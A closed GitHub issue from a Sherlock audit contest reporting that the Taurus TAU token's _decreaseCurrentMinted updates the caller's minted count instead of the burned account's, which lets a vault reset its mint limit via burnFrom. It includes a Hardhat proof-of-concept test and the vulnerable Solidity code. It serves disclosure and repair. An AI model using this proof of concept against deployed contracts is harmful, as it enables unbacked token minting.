Skip to content
This repository has been archived by the owner on Sep 17, 2023. It is now read-only.

bytes032 - Vaults can mint unlimit amount of tokens #24

Closed
sherlock-admin opened this issue Mar 13, 2023 · 0 comments
Closed

bytes032 - Vaults can mint unlimit amount of tokens #24

sherlock-admin opened this issue Mar 13, 2023 · 0 comments
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Medium A valid Medium severity issue Reward A payout will be made for this issue

Comments

@sherlock-admin
Copy link
Contributor

sherlock-admin commented Mar 13, 2023

bytes032

high

Vaults can mint unlimit amount of tokens

Summary

_decreaseCurrentMinted is using the wrong parameter, which will practically break the whole protocol

Vulnerability Detail

The function is used in both burn and burnFrom. If the accountMinted is more than the amount, then it updates currentMinted[msg.sender]. While that works for burn, it doesnt work for burnFrom, which can lead to catastrophic consequences, because burnFrom can be used to reset the mintLimit and technically mint more tokens than possible. I've proved that by slightly modifying your test suite.

https://github.com/sherlock-audit/2023-03-taurus/blob/main/taurus-contracts/test-hh/00_TAU.ts#L81-L102

    it("Should allow vaults to mint up to mintLimit", async () => {
      await tau.connect(vaultPlaceholder).mint(vaultPlaceholder.address, 1000);
      expect((await tau.balanceOf(vaultPlaceholder.address))).to.equal(1000);
      const preAttackerBalance = await tau.balanceOf(attacker.address);
      await tau.connect(attacker).mint(attacker.address, 1);
      expect((await tau.balanceOf(attacker.address)).sub(preAttackerBalance)).to.equal(1);
      
      await tau.connect(attacker).approve(vaultPlaceholder.address, 1);
      expect(await tau.allowance(attacker.address, vaultPlaceholder.address)).to.equal(1);
      
      expect(await tau.currentMinted(vaultPlaceholder.address)).to.equal(1000);
      expect(await tau.currentMinted(attacker.address)).to.equal(1);
      
      await tau.connect(vaultPlaceholder).burnFrom(attacker.address, 1);
      
      expect(await tau.currentMinted(vaultPlaceholder.address)).to.equal(0);
      expect(await tau.currentMinted(attacker.address)).to.equal(1);

      await tau.connect(vaultPlaceholder).mint(vaultPlaceholder.address, 1000);
      expect((await tau.balanceOf(vaultPlaceholder.address))).to.equal(2000);
    });

Last, but not least the burnFrom function is used in several places through the code, meaning all of these are impacted by the vulnerability.

https://github.com/sherlock-audit/2023-03-taurus/blob/main/taurus-contracts/contracts/Vault/BaseVault.sol#L303
https://github.com/sherlock-audit/2023-03-taurus/blob/main/taurus-contracts/contracts/Vault/BaseVault.sol#L380
https://github.com/sherlock-audit/2023-03-taurus/blob/main/taurus-contracts/contracts/Vault/TauDripFeed.sol#L56

Impact

Vaults can mint unlimited amount of tokens

Code Snippet

https://github.com/sherlock-audit/2023-03-taurus/blob/main/taurus-contracts/contracts/TAU.sol#L58-L90

    function burn(uint256 amount) public virtual override {
        address account = _msgSender();
        _burn(account, amount);
        _decreaseCurrentMinted(account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, deducting from the caller's
     * allowance. Also decreases the burner's currentMinted amount if the burner is a vault.
     *
     * See {ERC20-_burn} and {ERC20-allowance}.
     *
     * Requirements:
     *
     * - the caller must have allowance for ``accounts``'s tokens of at least
     * `amount`.
     */
    function burnFrom(address account, uint256 amount) public virtual override {
        // 1. burn 1 token from another vault
        super.burnFrom(account, amount);
        _decreaseCurrentMinted(account, amount);
    }

    function _decreaseCurrentMinted(address account, uint256 amount) internal virtual {
        // If the burner is a vault, subtract burnt TAU from its currentMinted.
        // This has a few highly unimportant edge cases which can generally be rectified by increasing the relevant vault's mintLimit.
        // 2. another vault balance >= amount
        // 3. currentMinter[msg.sender] = another vault balance - amount;
        uint256 accountMinted = currentMinted[account];
        if (accountMinted >= amount) {
            currentMinted[msg.sender] = accountMinted - amount;
        }
    }

Tool used

Manual review

Recommendation

Change the code in the following way

- currentMinted[msg.sender];
+ currentMinted[account];

Duplicate of #149

@github-actions github-actions bot added Medium A valid Medium severity issue Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label labels Mar 21, 2023
@sherlock-admin sherlock-admin added the Reward A payout will be made for this issue label Apr 1, 2023
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Medium A valid Medium severity issue Reward A payout will be made for this issue
Projects
None yet
Development

No branches or pull requests

1 participant